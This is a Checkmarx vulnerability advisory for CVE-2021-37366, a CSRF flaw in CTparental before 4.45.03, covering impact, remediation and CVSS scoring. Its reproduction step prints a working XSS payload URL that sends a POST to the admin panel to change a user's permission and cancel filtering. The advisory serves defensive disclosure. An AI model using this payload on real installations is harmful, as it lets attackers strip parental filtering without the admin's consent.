---
title: "CX-2021-4803"
date: "2021-07-14T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4803/"
---

# CX-2021-4803

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Jul 14, 2021

CVE-2021-37366  **Published:** Jul 14, 2021

8.8 High Severity CSRF CTparental

OS Or Sahar  Reported by Checkmarx Zero

Details Overview

## Summary

CTparental before 4.45.03 is vulnerable to CSRF.

## Product

CTparental before 4.45.03

## Impact

An attacker could trick the admin into clicking a link to a certain web page. The webpage would run on the admin browser, redirect the browser to the CTparental admin panel, and cause a permission change. Combine this vulnerability with the XSS vulnerability; an attacker could save the effort of creating a web page, and instead, trick the admin into clicking a crafted link that changes their and/or any other user’s permission in the system and, as a result, cancel the desired filtering.

## Steps to reproduce

To reproduce exploiting the vulnerability, enter the following link in the browser:  
`https://admin.ct.local/bl_categories_help.php?cat=<script>var xhr=new XMLHttpRequest(); xhr.open("POST", "https://admin.ct.local/index.php?dgfile=privileged%20group/", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xhr.send("chk-2%3don%26choix%3dchange_user"); </script>`

### Expected result:

Filtering is canceled for user superman.

## Remediation

Update CTparental to 4.45.03 or above.

## Credit

This issue was discovered and reported by Checkmarx Security Researcher  
[Or Sahar](https://www.linkedin.com/in/securylight/).

## Resources

1. [Release note](https://gitlab.com/marsat/CTparental/-/releases/4.45.03)

0  High Severity CVSS v3.1 Score

   8.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Disclosed Jul 12, 2021 Notified the maintainer
2. Fixed Jul 14, 2021 Fix got released

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)